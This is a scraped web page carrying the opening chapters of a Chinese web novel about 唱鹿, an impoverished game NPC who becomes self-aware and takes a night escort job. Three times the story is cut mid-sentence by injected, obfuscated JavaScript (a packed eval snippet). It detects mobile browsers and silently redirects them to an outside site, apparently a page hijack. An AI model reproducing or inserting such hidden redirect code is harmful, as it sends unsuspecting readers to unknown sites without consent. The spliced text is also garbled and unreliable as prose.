《虚拟乌托邦》 1. 觉醒 001. 一巴掌重重落在肩上,唱鹿回过神来。 领队用逐日族特有的竖瞳盯着她,“唱鹿,我发现你最近经常上班发呆。” “哈哈,有吗?” 但这不能怪她呀。 今天安保队接到的任务是为一个展会守外围。 任务期间无事发生,连个试图逃票的人都没有,实在有够无聊。 无聊到唱鹿都开始数地砖了。 门前一共有三百二十六块砖,其中三十一块…… “我知道,今天情况是有点特殊。但是——” 领队在手腕处点了几下。 半透明投屏在两人中间展开,显示当下的时间是17点07分。 “你到现在还没打卡。下班不积极,肯定有问题!” 安保队严格遵循早九晚五的工作时间,其他同事都已经跑得没影了。 唯独唱鹿还杵在这里不知道在琢磨什么。 正常来说,工作内容越无聊,一到下班人跑得越快。 这人怎么还倒着来? 领队板起脸,“老实交代,你是不是有什么事?” 唱鹿心跳一滞,连带着后脑勺神经也抽搐了一下。 确实有,要命的那种。 * 活了二十一个纪年,无父无母无家底的日子是比较拮据,每天都要靠打好几份工才能过活,但贵在自由随性。 唱鹿本以为会这么无拘无束地继续过下去,不料有天一觉醒来,她突然意识到一件事。 “这个世界只是一场虚拟游戏。” “我是这个游戏里的NPC,我的一切都是设定好的程序。” 天都塌了。 既然什么都是假的,都是数据和代码,为什么不能设定她是个富到流油的暴发户呢? 她真的很想体验一下富婆快乐…… 请停止幻想,上个周期的房租还拖着没交呢! 唱鹿心灰意冷地请了假,在床上痛苦挣扎一整天后,想通了: 我命由我不由天! 凭什么只有玩家能自由享受游戏。 身为NPC也可以摆脱既定的命运,闯出一片属于自己的天地! 第二天一早,她怀揣满腔热血出门。 然后看见联邦特警把一名异常NPC绑上了警车。 那两位持枪特警拦住试图假装没看到的她,开口就问:“附近有没有什么异常情况?” 盯着黑洞般的枪口,唱鹿心情很复杂。 有。 最异常的情况就是我。 现在正站在你们面前的,我。 想归想,答肯定不能这么答。 但要说些什么,怎么说,唱鹿也拿不准主意。 因为在觉醒之后,她开始看到好多以前看不见的东西。 比如说好感度。 正常陌生人之间的好感度是10,可两名特警对她的好感度—— 居然是零耶! 好在零并不是最低,往下还能是负数。 所以呢? 是不是代表对方对她本就有偏见,如果不小心说了什么不该说的话,好感度下降到负值,他们会直接一枪崩了她? 又或者说,对方正在观察她是不是异常NPC,一旦发现破绽,立马绑上警车拉去联邦中心做数据销毁? 等等。 为什么她知道异常NPC的数据会被销毁? 无所谓,都不重要。 重要的是,唱鹿看见了选项! A,举报房东太太偷税漏税 B,怀疑隔壁新搬进来的租客是个瘾君子 C,打听联邦还需不需要眼线(缺钱必选) 好好好,这么玩是吧。 连选项都在嘲笑她穷得底裤穿窿。 那必然是—— 唱鹿果断选A。 “有人故意偷税漏税算吗?” 选定之后,她的嘴巴不受控地动了起来,“我的房东每周期收我一千五租金,水电另算。但我发现她对外宣称一个周期的租金只要一千通用币,水电全包……” 程序正在操控她。 好在这番话的情绪到位,逻辑也合理。 说完,其中一个特警的好感度+5,另一个保持不变。 好感上涨那位特警抽出一支纳米笔,“哪栋楼几号房?房东叫什么名字?男的女的?什么种族?” 唱鹿逐一答复。 她的回答太过自然且毫无破绽,两名特警没有产生怀疑,登记完后便离开了。 危机解除。 唱鹿悬着的心却始终没有放下。 她默默推翻了想要在游戏世界里大展拳脚的想法。 自我意识觉醒这件事,绝对不能暴露! * 打完下班卡。 唱鹿骑上独轮摩托车,刚想拧油门,领队踩着喷气滑板悬停在她身侧。 “真的不需要吗?”领队亮出虚拟存折卡,右上角的标记是银色,说明里面的存款过万,“你可不好意思开口。” 得知唱鹿最近的异样是因为没钱交房租之后,这已经是领队第三次主动提出要借钱给她。 没钱是唱鹿临时找的借口,也是事实。 她的钱包里只剩两百通用币,除了吃饭,还得匀出一部分给摩托充铀…… 距离下一个交租日还有三天不到。 哎,上个周期的房租还欠着呢,房东太太今天指定要找她麻烦,得提前做好准备才行。 但不论如何,都不想欠谁人情。 唱鹿戴上头盔,朝领队挥挥手。 “不用,你还是快回去吧,太阳要下山了。” 领队是逐日族。 除了肤色比较黑和一双竖瞳之外,外型和自然人类没什么不同。 但逐日族有一个明显的种族特性。 入夜后,他们的精力和体能会自然而然地下降,疲惫感将持续一整晚,进而使得反应力减弱,行动力迟缓。 日照不足已经开始影响到领队了。 她站在滑板上打了个大大的哈欠,“好吧,明天见。” “嗯,拜拜~” 道别结束,滑板的尾端喷出一股强劲的气流,咻地一声便消失在了天边。 有空中驾照真好,一飞就到家了。 唱鹿反观自己,只能骑租来的二手破摩托。 归根究底,还是穷啊! 人穷志不穷。 既然没钱,那就想办法搞钱。 这个世界赚钱的路子很多,可大部分都有硬件要求,越是专业对口,来钱越快。 唱鹿的位置比较尴尬。 她属于什么都会一点,但都不专精,比上不足比下有余,所以只能在本职之余找点散活儿做。 回家途中,她按惯例在[给大伙整点活儿]论坛里发了个求职贴。 帖子发出去不到三分钟,一通电话打了进来。 那头屏蔽了全息影像,只有声音。 她一听,原是老熟人——地菩萨。 “鹿姐,看到您发的帖子了。找活儿呢?怎么不先来问问我,真是太不给面子了!” “找你?”唱鹿冷笑,“找你我还能活?之前跑商的佣金什么时候给我?” “这……” “你前台摆的那座千面佛好像挺贵的,要不就拿它做抵押吧。” “别啊,钱我已经打过去了,您查收一下。” 正好遇见红灯,唱鹿把摩托停在路边,切出去查了一下存折,确实刚转进来三百通用币。 有钱到账,凡事好商量。 唱鹿回到通话,“说吧,什么活儿。” “押镖。” “不去。” “别啊!您听我说,这次的雇主来头可大,刺鲸听过吧?在咱们伽马地区老有名了。我已经和他们谈好了,现场结钱,绝不拖欠。走一趟,佣金五百通用币,我抽三成,剩下七成全都是您的。” 夜里押镖有多危险,这货又不是不知道! 三七分成,呸,奸商。 “一九,不然免谈。” “二八,真不能往下压了。今晚这趟路线不长,最慢两小时就能走完,白赚五百呢!其他人我都舍不得推, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806266|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还得是咱们这样的老相识……” 聊着聊着到家了,唱鹿把摩托停在地下车库里,走进电梯后按下二十九楼。 “二八就二八。时间地点发我。” 苍蝇再小也是肉。 谁叫她正缺钱呢。 - 任务:押镖 甲方:刺鲸 乙方:唱鹿 中介:地菩萨 佣金:五百通用币 分成:乙方拿八,中介拿二 地点:N278港口 时间:晚上7点 货物:保密 * 在家刚做完两百个俯卧撑,房东太太来敲门。 “交租!连同上个周期的一起给,不然你今晚就给我搬出去!” 房东太太是个智械,从头到脚都是金属。 听说她在电子眼里装了热成像仪,方便收租时确认租客在不在,也方便在租客嗝屁时能及时发现。 唱鹿打开门时,房东太太的电子眼飞快地转了两圈,好像在惊讶她居然敢开门。 抢在房东开口前,她说:“再宽限两天。” 对方的声音顿时尖锐起来,“你上个周期的房租还没给呢!” 唱鹿赶紧打断她的爆鸣,“您这脑袋是新做的吧?” “是、是新做的,怎么了?” “挺好看,玫瑰金色很适合您。” “你以为说两句好话就能打动我?” 智械的脸上很难看出情绪,唱鹿也不知道这招有没有效。 没有也无妨,她还有另一招。 唱鹿压低嗓音,神秘兮兮的,“我知道之前是谁向联邦举报您……” 房东太太眯起眼睛,“你知道!” 她装出一副讳莫如深的样子,重重点头。 这事想不知道都难。 房东太太沉吟,“你真的知道?” 她再次点头。 “那好吧,七天内交齐租金。我可以不计你上个周期拖欠租金的罚息。一个名字,换一次免息,懂吧?” “懂。” 送走房东,关上门。 唱鹿叹了口气。 七天怎么赚到两个周期的房租,不吃不喝也做不到呀! 哎,走一步算一步吧。 正想回屋换身衣服准备出门,一扭头,看见客厅的窗台上蹲着一只油光水滑的黑猫。 这只猫不是她养的。 应该是生活在附近的流浪猫。 黑猫每天都会跑到她的窗台上。 不叫唤,也不讨食,偶尔发呆,偶尔睡觉,呆够了就会离开。 唱鹿很喜欢这只猫,尤其喜欢它血红色的双瞳。 曾想过把它留下当家猫,项圈都买好了。 结果人家不乐意戴。 不乐意,她也不勉强。 一人一猫。 维持着萍水相逢的默契。 “来啦。”她像往常那般和它打招呼。 黑猫甩甩尾巴,大概是在回应。 “你再来晚一点,今天可能就见不到我了。我接了个活儿,去港口押镖。”唱鹿对着猫说,其实是在自言自语,“我不喜欢押镖,押镖得杀人,我不喜欢杀人……但为了钱,为了生活,没别的办法。” 黑猫再次甩动尾巴,身子一扭,不知道跑哪去了。 唱鹿正在镜子前梳头发,见状不由得自嘲一笑,“看,连猫都嫌弃你话多。” 放下梳子,定睛看着镜中的自己。 她的发色很特别,淡妃色。 在伽马地区生活了这么久,唱鹿还没见到第二个有这种发色的人。 如此独特的发色,是游戏设计者对她的偏爱吗? 呵,绝对不是。 真偏爱就应该让她一出生就是富二代。 唱鹿把长发辫好,换了一身便于战斗的装束,又带上小刀和手枪。 正往弹夹塞子弹,瞥见黑猫回来了。 它在窗台边低下脑袋,松开嘴里叼着的东西。 那是一个只有指头大小,透明的、流转着诡谲光芒的三棱柱。 2. 押镖 002. 现在是晚饭时间,未央阁的一楼坐满了客人。 唱鹿挺走运,进来时正好有个角鳞族结账离开,腾出的座位她便顺势占了。 “来碗牛肉盖饭,不要放葱花。” 点完餐,唱鹿摸了下耳坠,调出一面悬浮屏。 跳过系统推送的娱乐八卦,点进[给大伙整点活儿]论坛,直接杀进招聘版块。 今晚这趟镖的路程比较短。 七点集合,预计九点左右完工。 她的日常作息是凌晨一点入睡。 假设九点结束,中间四个小时还得去接点别活儿的,赚一点是一点。 可惜招聘版块里的都是些烂活。 什么[想雇几个美男边唱《只要给够加班费,当牛做马无所谓》边刷马桶]。 还有[急急急,诚聘裸体轿夫四位(艺术展会需求绝非私人癖好)]之类的。 说实话,佣金真的很高。 如果没有那颗无用的羞耻心,她会去。 店小二端上来一碗牛肉盖饭。 唱鹿关掉悬浮屏,抽出筷子还没开始干饭,邻座两位客人的聊天内容引起了她的注意。 “不会吧。” “是真的!他去梦境里走了一遭,出来就有了。” 有了? 有什么了? 唱鹿悄咪咪竖起耳朵。 “我亲眼看见的,他能把水变成冰块,几秒的事!” “这么厉害。” “还能发射冰锥,把墙打出了好几个大窟窿呢!” “唉,他是不是在梦境里经历了什么,不可能平白无故突然就——” 正听得入迷,却见一杆烟枪探到桌子中央,不轻不重地敲了两下。 “咚咚!” 唱鹿眨巴眼睛,抬起头。 对面坐着一位穿旗袍的大美人。 头顶一对尖尖的狐狸耳朵,背后还有一条毛茸茸的大尾巴。 大美人一手拿着长烟,另一只手收在胸前,一双桃花眼笑眯眯地看着她。 “听得这么认真,有兴趣?” 这位是未央阁的老板娘。 她在几个纪年前从隔壁神都地区移民过来,平日里除了经营饭馆之外,也做点情报交换的小生意。 唱鹿对这种漂亮大姐姐没什么抵抗力。 加之未央阁的牛肉盖饭实在好吃,先前有段时间每天都来。 被食色迷惑的后果,便是在店里赊了一屁股账至今还没还清。 “随便听听。”唱鹿埋头干饭。 老板娘微微一笑,将一碟小菜推到她手边,唱鹿也没客气,就着小菜又扒拉了好几口饭。 看着她沉醉的吃相,老板娘上半身往前倾,单手托腮,轻轻说:“最近得到赐福的人变多了,十个里有九个去过梦境。” 什么都不会的普通人,突然有了特殊能力,这种情况被称为赐福。 邻座两人方才讨论的有人能把水变成冰,便是一种赐福。 赐福很随机。 没人知道什么时候获得,能从哪里获得,又会获得什么类型。 到目前为止,唱鹿也只是听过,还没亲眼见过。 她现在很怀疑赐福是不是给玩家专属福利。 这个世界毕竟是一场游戏嘛,总得给玩家提供一些优越感…… 至于梦境。 那是有钱人才能接触到的东西。 像她这样的穷人,攒上大半年都不够一次入梦的门票钱。 她是个NPC,且穷。 有这两重Debuff,唱鹿觉得自己十有八九是遇不上赐福了。 “十个里九个去过梦境,还有一个呢?” “那个嘛。”老板娘故意一停,钓足她的胃口,再慢悠悠继续往下讲,“说是天生的。” 唱鹿:“……” 信这鬼话还不如信她不是NPC。 吃饱喝足,唱鹿打了个饱嗝。 老板娘依旧笑眯眯地看着她,也不走,就和她这么面对面坐着。 这时,一阵沉重的脚步声从二楼往下走来。 原来是店里的伙计们在搬几个大箱子。 唱鹿好奇地探出脑袋。 只见未央阁大门外停了一辆运输车,看车上的标志,应该是开往跨区空港的。 “你要出远门?” “有事回一趟神都。”老板娘浅吸一口烟,冲着天花板缓缓吐出一个漂亮的烟圈,又斜睨向她,“要不要和我一起走?” “免了,我晕飞空艇。” 暂不论她愿不愿意去。 想要进行跨区航行,还得先去联邦办护照,一套流程下来别说有多麻烦了。 唱鹿自知现在情况特殊,尽量不和联邦打交道。 最好呢,是能一辈子离得远远的。 联邦指不定有什么能检测出异常NPC特殊手段。 主动找上门去,岂不是羊入虎口。 她又不傻。 “那我不在的这段时间,你可要小心。”老板娘用食指勾住她的下巴,“别又让漂亮大姐姐给骗了。” “骗我的就只有你。”唱鹿拍开她的手,愤愤不平道,“说好的来光顾十次,让我薅一次尾巴。我都来几百次了,一次没摸着!” 老板娘故意晃了晃她那条蓬松的火红色大尾巴,掩嘴笑道:“那不是新店开业招揽生意的手段嘛。再说了,我们兽耳族的尾巴可是私密部位,怎么可以随便让人乱摸。” 唱鹿很想咬她。 什么人呐,骗财不说,还骗心! “说起来,你在我这儿也赊了不少账。”老板娘的手往空中一揉,白光闪过,指尖已然出现一本电子账簿。 电子账簿随着她眼瞳的右移,飞速往后翻,“让我看看……嗯,一共是三千两百三十五通用币,外加赊账的利息七十九通用币。再吃多几碗牛肉盖饭,多拖欠几个周期,你就得把自己卖给我才能抵债了。” 唱鹿嘀咕,“我敢卖,你敢要吗?” “怎么不要呢,奴家我呀,就喜欢你这种什么都没有动过的自然人~”说着又要动手。 唱鹿连忙躲开,后背炸出一片鸡皮疙瘩。 知道是在开玩笑,但老板娘那语气和表情,真的很像要把她五花大绑回家当宠物。 这笔账必须想办法先还了才行。 有了! 唱鹿从口袋里摸出一个晶莹剔透的三棱柱。 这玩意是黑猫不知道从哪里叼来的,大概是某种科技产物,她还没来得及研究怎么用。 老板娘见多识广,或许知道它的价值。 接过三棱柱,老板娘举到直光下端详了好一阵子,满脸不屑地丢回给她,“不值钱,你自己留着吧。” 唱鹿悻悻道:“还以为能抵几百块。” “想得倒挺美,不如直接把你自己抵给我,你我之间的旧账一笔勾销。” 这天委实聊不下去了,唱鹿赶紧收拾东西准备走人,“我的原则是只卖力气不卖身。你放心,钱我一会还上的。” 老板娘盈盈笑道:“嗯,我等着。” 又成功赊了一笔账,唱鹿脚底抹油溜得飞快,可还没走出未央阁的大门,听见老板娘在身后叫她,“唱鹿。” 唱鹿应声回头。 与此同时,一串私人号码主动录入了她的耳坠里。 老板娘站在前台,周身被烟雾缭绕,看不清是什么表情。 “如果有什么急事需要帮忙,记得找我。” 请选择: A,接受(盟友+1) B,婉拒(好感度-10) C,假装没听见赶紧溜(谨慎选择,毕竟你也不想得罪伽马地区最大的情报贩子吧) * 唱鹿走进N278港口时,发现这里安静得有点异常。 明明快到集合时间,却有人在往回走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806267|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离唱鹿最近的智械正骂骂咧咧,“说不要就不要,一点补偿没有,把我们当什么了!” 还没弄清状况,有人在不远处喊她:“唱鹿!这里这里!” 招呼她过去的是个娇小的女孩。 女孩名叫麻薯,十五六岁的模样,两只大大的圆瞳占据了整个眼眶的二分之一。 唱鹿先前和麻薯合作过几次。 麻薯是追月族,夜行能力极强,是干夜间私活的最佳搭档。 还有五分钟才到点,唱鹿爬上麻薯所在的集装箱,“有情况?” “刺鲸招募到了一个受赐者,遣散了不少应聘者。” “我没收到遣散通知。” “我也没有,可能还需要我们吧。”麻薯坐在集装箱的边缘,晃着两条纤细的腿,“毕竟我是追月族。而你,可是远近闻名的打工女王。” 唱鹿挠挠头,不知道该对这个头衔作何反应。 穷得人尽皆知,也算一种本事吧。 七点整,唱鹿和麻薯的通讯器同时响起通知音,该去指定的仓库集合了。 离开港口的人越来越多,只有少部分逆着人流朝更深处走去。 在靠海的一个破旧仓库里,两人见到了这次押镖的负责人——一位雄性角鳞族,除了正脸,裸露在外的皮肤都覆盖着暗蓝色的鳞片,头上有两个卷曲朝前的角,看起来很不好惹。 他自称大川,是刺鲸里的一个小干部。 唱鹿觉得这人有点眼熟。 正思索是不是在哪里见过,麻薯贴过来问:“认识?” “不认识。” 但她想起来了。 “在未央阁吃晚饭时碰过面。” 大川显然对唱鹿没有任何印象。 点名时都没给个正眼。 集合报到的流程走完,他又叨叨说能留下的都是幸运儿。 因为赐福者的加入,运气不好的都被遣走了。 “起点、终点,具体要做什么,队友是谁,都发给你们了。”大川拍起手掌,“时间不等人,钱也不等人,可以动起来了!Go!Go!Go!” 不出唱鹿所料,她和麻薯被安排到了一起。 任务是扫雷。 一趟押镖,不仅需要随行的护卫队,也需要有人清理押镖途中周遭的埋伏。 找出潜在的危险并消灭它,即为扫雷。 清扫的地点离港口有点远,唱鹿决定开车过去再考虑下一步。 两人来到停车场,唱鹿解开摩托的防盗锁,回头才发现麻薯背着一柄巨剑。 到底还是年轻。 唱鹿叹了口气,拔出藏在靴子内侧的小刀递给她,“用这个,你的武器太显眼了,不适合扫雷。” 麻薯的优点之一是听劝。 她高高兴兴地把小刀别在腰带上,巨剑暂时放到墙边,反正任务完成后还得回来找大川领佣金。 “上车。”唱鹿拍拍后座。 麻薯跳上摩托,揽住她的腰,“我猜刺鲸押运的货物是蓝血。” 拧动油门,独轮摩托发出一声怒吼。 唱鹿戴好头盔,又把备用的往后递,“理由呢?” “我邻居前天花重金入梦,出来后跑得老快。”麻薯一边戴头盔,一边说,“一阵风似的,呼——没影儿了。” “挺好,危急时能保命。” 笑过之后,唱鹿陷入沉思。 越来越多的人在入梦后获得了赐福,那么在接下来这段时间里,和梦境相关的所有东西和业务势必会大涨一波价格,包括蓝血。 蓝血是最关键的。 因为它是生成梦境的原材料。 像刺鲸这样的大组织肯定已经嗅了商机,麻薯猜他们在押运蓝血,可能还真是。 要是她也能抓住机会从中捞一笔就好了。 梦境。 赐福。 蓝血…… 唱鹿仿佛已经看到独栋大别墅在向她招手了。 3. 危险 003. 小树林里,唱鹿和麻薯并肩往前推进。 她们负责扫雷的区域不大,有一侧紧贴着押镖的必经之路,是最容易出现埋伏的地段。 两人先排查了这一侧,没有发现异常,于是继续往深处扫去。 一路没有遇险,麻薯有些松懈,“嘿,你之前不是说要去参加恶魔猎手的选拔赛吗?落选了?不应该呀,你这么好的身手,又当了好几年的清道夫……” “我没去。” “哎——!为什么!” 唱鹿连忙打了个噤声的手势。 这片林子里指不定哪里就埋着一颗雷,这么高声一喊,想不惊动都难。 “不好意思。” 麻薯握紧了手里的枪,警惕地观察了周遭一圈,才又靠过来小声说,“可你不是一直都想成为一名恶魔猎手吗?” 清道夫和恶魔猎手其实是同一种职业。 前者是民间用词,后者则由联邦编制人员专享。 清道夫是唱鹿众多副业中的一种。 也是她做得最熟稔的活儿。 没觉醒之前,唱鹿考虑过去参加联邦的选拔,由清道夫转为恶魔猎手,从此拿上铁饭碗。 现在,她完全打消了这个念头。 联邦对于一个拥有自我意识的NPC而言,太危险。 “其实吧,做清道夫也没什么不好。”唱鹿含糊道。 “嘁——”麻薯根本不信,“你肯定是睡过头错过报名时间了。” 走出小树林,两人来到一个分岔口。 先前的多次合作让她们早已有了默契,不用开口,对视一眼便知道你往左我往右。 唱鹿指了指耳坠,表示有事及时联系。 麻薯点头,沿着左边的小路走向绵长无边的夜色里。 望着女孩远去的背影,唱鹿忍不住开始思考: 麻薯是玩家还是NPC呢? 今天早上,唱鹿看着安保队的其他成员,看着领队,也思考过同一个问题。 她们是玩家还是NPC呢? 不知道。 唱鹿现在不管看向谁,对方身旁都挂着血量条、精力条,还有好感度。 要是照镜子,她还能看到自己的。 这些显然不能拿来作为分辨玩家与NPC的标准。 不知道玩家有没有区分自己人和NPC的方法呢……唱鹿又想。 答案依旧是不知道。 她至今还没有见到谁明显表现得像个玩家,或者像个NPC。 每一个人,都在过他们的日子。 每一个人,都活得像真人。 其实在觉醒后的这一个周期里,唱鹿有时也会忘记自己是一个游戏NPC,是一串被写好了代码的程序。 多思无益,眼下最重要的是完成任务,拿到佣金。 她好穷。 想想都要落泪了。 - 往右前进十来米,有一片光秃秃的荒地。 荒地的面积不大,一眼望得到头,如果有什么埋伏,也能轻松看见。 比如说。 距离唱鹿的脚踝只有一厘米距离,那道微弱的电流。 把电磁网布置在这种地方,今晚劫镖的也太不专业了吧。 哪怕是初出茅庐的新手,也知道要把陷阱藏匿到自然环境里,而不是这样明晃晃地暴露在月色下。 唱鹿弯腰捡了一块小石头,往电流闪过的位置一抛。 “兹拉。” 剧烈的蓝光爆开,电流消失不见。 拆陷阱,有时就是这么简单。 她一边留心观察,一边往前丢石子,不过五分钟的功夫,便把荒地上的电磁网都破坏了。 不拆不知道,细数下来竟然有三十来个发电信标,每一个的位置都很出乎唱鹿的意料。 意外的显眼。 真有种初生牛犊不怕虎的做派。 摆明了要阴你,就问你敢不敢进来。 拆到最后,唱鹿都有点想认识布置陷阱的人了。 这人的脑回路肯定很特别。 一口气布置几十个信标不是一件容易事,可见这人多有耐心。 但能做到把每个信标都设置得这么明显,其中有几个甚至还绑了惹眼的红绳,可见这人有多欢愉。 真的不是来找乐子的吗? 唱鹿把拆下来的信标摞成一堆丢到附近的石堆里,这片荒地的扫雷就算完成了。 她正想继续往前推进,收到麻薯发来的讯息。 [发现埋伏,速来支援!] [坐标(119,45)] * 坐标地点是一栋三层高的废弃烂尾楼。 只有一个骨架子,四面漏风。 唱鹿蹲在距离烂尾楼不到十米远的一棵歪脖子树上,茂密的树叶和恰到好处的阴影,让她完美隐身。 不远处的草丛里,麻薯正伏低身子替她望风。 为免被敌人检测到通信信号,两人正用最原始的沟通方式——打手势,进行讯息交换。 烂尾楼的最高层有两个人。 一个寸步不离地守着一把长镜狙击枪,没有明显的生理特征,分辨不出是什么种族。 另一个是兽耳族,手握夜视望远镜,观察的方向正对着押镖必经路线。 这架势,必然是要截镖没跑了。 唱鹿比出两根手指。 稍顿几秒,又添上一根,意思是:“两个人,但我怀疑还有帮手。” 麻薯也打手势回应,“镖队已经出发,十分钟后将抵达狙击枪的射程范围。杀不杀?” 犹豫了三秒。 “杀。” 两人开始行动。 唱鹿绕到废弃大楼的背后,在保持绝对安静的前提下,以最快的速度上楼。 麻薯有种族优势的加持,选择沿着大楼侧面的骨架往上爬,直击狙击手。 与此同时,大楼顶层。 劫镖二人组中负责瞭望的兽耳族放下望远镜,“我看到镖队了,护卫的人不多,可能有诈。” 狙击手冷哼一声,“你哪次见过刺鲸按常理出牌?” “说的也是,我们今晚都还没碰见扫雷的。该不会不敢来吧?得亏咱们还特意选了这么个显眼的位置……”兽耳族眼珠子一转,“我还等着看他们和阿勇过招呢。” 提到阿勇,狙击手表情不大好,“镖队还有五分钟就会走进我的狙击范围。他再不回来,到时出了意外算谁的?” “你且守着,我去找他。” 兽耳族把望远镜扣在腰间的活结上。 转过身,只见一个有着淡妃色长发的女人,正一脸无辜地瞅着自己。 “你们这么期待,我们当然要来。” 说完,不等对方从惊诧中作出反应,唱鹿一个箭步上前,两手死死握住对方的脑袋,用力地朝后一拧。 伴随着清脆响亮的喀哒一声,兽耳族的脑袋转了个一百八十度,直挺挺地躺倒在地上,咽气了。 而在唱鹿拧断这人的脖子的同一时间,麻薯也把小刀捅进了狙击手的头颅里。 这波配合堪称完美。 唱鹿走到楼层边缘,伸手去拉正半挂在大楼壁面上的麻薯。 女孩骨架子小,体重轻,稍微使劲一拽就上来了。 没有任何辅助,从光滑的水泥表面一口气爬上三层楼,麻薯连呼吸的频率都没有加快。 “你的也搞定了?” “嗯,轻轻松松。” 她们一起检查狙击手的情况。 死者的瞳孔已然涣散,勉强能看出是竖瞳。 “是个逐日族!”麻薯不敢置信,“夜里还出来,可真拼啊!” “你白天完全不出门?” “除非必要,我只窝在家里睡觉。阳光可太催眠了,一看见我就昏昏欲睡。” 逐日和追月两族深受日夜更替的影响,并不代表他们在不对的时间内会完全丧失行动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806268|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力。 唱鹿经常看见到追月族一大早去未央阁喝早茶,也见过逐日族逛夜市。 但像夜里劫镖这种危险的活儿,她也是头一次见到逐日族参与。 估计是和她一样,太穷了吧。 穷到不得不违背种族天性,入夜后还跑出来赚钱。 唱鹿不禁对这名狙击手生出了一丝同是天涯沦落人的怜悯。 希望对方是个玩家,而非NPC。 游戏内的死亡代表着数据彻底清除。 玩家好歹还有现实世界的生活,NPC一旦被清除就什么都没有了。 唱鹿还在为死者忧伤,麻薯已经在思考该怎么把那把长镜狙击枪搬回家了。 她摸着黑色金属枪身,满是羡慕道:“这些人的雇主真大方呀!这玩意的造价少说也要十几万通用币。鹿,你看,这明显是福音地区的手笔,那边就爱搞这些复古华丽的造型……” 唱鹿正想回话,耳畔突然响起短暂的尖鸣。 像某种警报。 危险! 危险! 危险! 在直觉的驱使下,唱鹿侧身往后撤退半步的同时,也伸出右手,拽住麻薯的手臂往怀里一扯。 这一套动作,以她平日里的行动速度,可以在两秒内完成。 短短两秒,此刻却变得极其漫长。 时间,空间。 她的动作,麻薯吃惊地瞪大了眼睛的表情,全都像是被做了降速处理。 麻薯的额头撞进她的胸口,唱鹿看到自己的辫子在空中扬起,浅妃色在月光的照耀下有了象牙般的光泽。 一枚子弹,擦过她头发的尾端,将一缕头发斩断。 如果她没有即时后退,没有去拉麻薯。 那么子弹会射穿她的锁骨,并命中麻薯的后脑勺。 命悬一线的恐慌瞬间变成暴怒,时间也恢复成了原有的速度。 唱鹿瞪向子弹飞来的方向,锁定敌方目标的同时,一个重要信息在脑海中定格: 角鳞族。 追月族的优势让麻薯抢先一步做出反应,掏出手枪就朝那头射击。 准度百分百,可没有用。 子弹打在了对方眉心处的鳞片上。 他仅仅只是晃了下身子,毫发无伤。 这便是角鳞族。 全身上下长满了子弹也打不穿的鳞片。 “砰!” 敌人缓过来后立马又对着她们补了一枪,这次的目标是唱鹿。 在自然人和逐月族之间,当然是先干掉没有任何种族优势的自然人。 危险! 危险! 危险! 短暂的尖鸣再度响起,刺耳得让唱鹿忍不住捂住耳朵。 有什么东西正滚滚发烫,紧贴在她的皮肤上,火一样燃烧着,奇怪的是一点也不难受。 正相反。 她感觉很好,非常好。 唱鹿以迅雷不及掩耳之速蹲下。 子弹还没从脑袋上飞过,右手已经摸出了藏在靴子外侧的小刀,投掷向朝她们开枪的角鳞族。 “没用的——”麻薯想提醒她不要浪费暗器。 话音未落,角鳞族往后倒去,抽搐好几下后,彻底没了动静。 麻薯不敢相信,“(脏话消音),死了?” 唱鹿紧绷的神经稍缓些许,肯定道:“我瞄准的是他的右眼,一刀进去必死无疑。” “唔?” 她没明白,唱鹿继续解释道:“角鳞族的关键部位都长有鳞片,一般的武器根本伤不了他们。但他们的眼睛没有任何防护,是最脆弱的器官。下次再遇到这种情况,记得要瞄准眼睛开枪。” 麻薯恍然大悟,掏出电子笔记就要记录下来。 见状,唱鹿调侃:“你很有上进心呐。” “唔,谁让我们生活在一个弱肉强食的世界。”麻薯说,认真中也有几分无可奈何,“在这里,没什么比活下去更重要。” 4. 赃物 004. “智械呢?” “智械最容易控制,也最难杀。” 唱鹿骑着摩托车开上大路,坐在身后的麻薯紧紧搂住她的腰。 夜风呼啸,但她说话的声音依旧清晰。 “一点电磁干扰就能让智械彻底宕机。” “可他们进行过改造,其他种族的弱点,智械都没有。” “机械心脏,芯片大脑,全身上下都是义体。除非把器官都卸下销毁,不然死几次都能重组复活。” 十分钟前,镖队顺利抵达终点。 扫完雷的两人也收到大川的通知,让她们回N278港口领取佣金。 麻薯一路都在问唱鹿怎么对付其他种族,大有想把她这些年累积下来的实战经验全部掏空的架势。 唱鹿也没藏着,知道的都说了。 她并不怕教会了徒弟饿死了师傅。 毕竟光有理论不能灵活应用,菜鸟也不会一夜变高手。 途中遇见红灯,唱鹿停车,放下一条腿支在地上,对着远处的钢铁森林伸了个大大的懒腰。 时间还早,解散后还再去找点活儿做…… 